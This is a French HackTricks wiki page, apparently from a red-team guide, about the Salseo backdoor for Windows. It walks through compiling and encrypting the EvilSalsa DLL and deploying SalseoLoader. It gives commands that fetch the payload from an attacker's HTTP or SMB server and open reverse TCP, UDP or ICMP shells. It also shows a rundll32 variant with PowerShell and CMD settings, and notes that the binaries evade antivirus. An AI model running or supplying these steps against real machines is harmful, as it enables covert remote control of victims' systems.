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# Salseo
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<details>
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<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Autres moyens de soutenir HackTricks :
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* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
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* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
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* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
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* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Compiler les binaires
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Téléchargez le code source depuis github et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code.
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Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (Si Windows supporte x64, compilez-les pour ces architectures).
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Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à gauche, dans **"Platform Target".**
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(**Si vous ne trouvez pas ces options, appuyez sur l'onglet "Project"** puis sur **"\<Nom du Projet> Properties"**)
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![](<../.gitbook/assets/image (132).png>)
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Ensuite, construisez les deux projets (Build -> Build Solution) (Le chemin de l'exécutable apparaîtra dans les logs) :
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![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
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## Préparer la Porte Dérobée
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Tout d'abord, vous devrez encoder le **EvilSalsa.dll.** Pour cela, vous pouvez utiliser le script python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** :
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### **Python**
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```
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python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
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python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
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```
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### Windows
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```
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EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
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EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
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```
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Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter toute la chose Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.**
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**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un AV...**
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## **Exécutez la porte dérobée**
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### **Obtenir un shell TCP inverse (téléchargement du dll encodé via HTTP)**
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N'oubliez pas de démarrer un nc comme écouteur de shell inverse et un serveur HTTP pour servir le evilsalsa encodé.
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```
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SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
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```
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### **Obtention d'un reverse shell UDP (téléchargement d'une dll encodée via SMB)**
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N'oubliez pas de démarrer un nc en tant qu'écouteur de reverse shell, et un serveur SMB pour servir le evilsalsa encodé (impacket-smbserver).
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```
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SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
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```
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### **Obtention d'un shell inversé ICMP (dll encodée déjà présente chez la victime)**
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**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inversé. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
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#### **Désactiver les réponses ICMP :**
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```
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sysctl -w net.ipv4.icmp_echo_ignore_all=1
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#You finish, you can enable it again running:
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sysctl -w net.ipv4.icmp_echo_ignore_all=0
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```
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#### Exécutez le client :
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```
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python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
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```
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#### À l'intérieur de la victime, exécutons la chose salseo :
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```
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SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
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```
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## Compilation de SalseoLoader en tant que DLL exportant la fonction principale
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Ouvrez le projet SalseoLoader en utilisant Visual Studio.
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### Ajoutez avant la fonction principale : \[DllExport]
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![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
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### Installez DllExport pour ce projet
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#### **Outils** --> **Gestionnaire de Packages NuGet** --> **Gérer les Packages NuGet pour la Solution...**
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![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
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#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la popup)**
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![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png>)
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Dans votre dossier de projet, les fichiers suivants sont apparus : **DllExport.bat** et **DllExport\_Configure.bat**
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### **D**ésinstallez DllExport
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Appuyez sur **Désinstaller** (oui, c'est étrange mais croyez-moi, c'est nécessaire)
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![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
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### **Quittez Visual Studio et exécutez DllExport\_configure**
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Quittez simplement Visual Studio
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Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport\_Configure.bat**
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Sélectionnez **x64** (si vous allez l'utiliser dans un système x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Espace de noms pour DllExport**) et appuyez sur **Appliquer**
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![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
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### **Ouvrez à nouveau le projet avec Visual Studio**
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**\[DllExport]** ne devrait plus être marqué comme une erreur
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![](<../.gitbook/assets/image (8) (1).png>)
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### Construisez la solution
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Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes)
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![](<../.gitbook/assets/image (10) (1).png>)
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Sélectionnez la **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Construction --> Cible de la plateforme = x64)
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![](<../.gitbook/assets/image (9) (1) (1).png>)
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Pour **construire** la solution : Construire --> Construire la Solution (Dans la console de sortie, le chemin de la nouvelle DLL apparaîtra)
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### Testez la Dll générée
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Copiez et collez la Dll où vous souhaitez la tester.
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Exécutez :
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```
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rundll32.exe SalseoLoader.dll,main
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```
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Si aucune erreur n'apparaît, vous avez probablement une DLL fonctionnelle !!
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## Obtenir un shell à l'aide de la DLL
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N'oubliez pas d'utiliser un **serveur HTTP** et de configurer un **écouteur nc**
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### Powershell
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```
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$env:pass="password"
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$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
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$env:lhost="10.2.0.5"
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$env:lport="1337"
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$env:shell="reversetcp"
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rundll32.exe SalseoLoader.dll,main
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```
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### CMD
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```
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set pass=password
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set payload=http://10.2.0.5/evilsalsax64.dll.txt
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set lhost=10.2.0.5
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set lport=1337
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set shell=reversetcp
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rundll32.exe SalseoLoader.dll,main
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```
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<details>
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<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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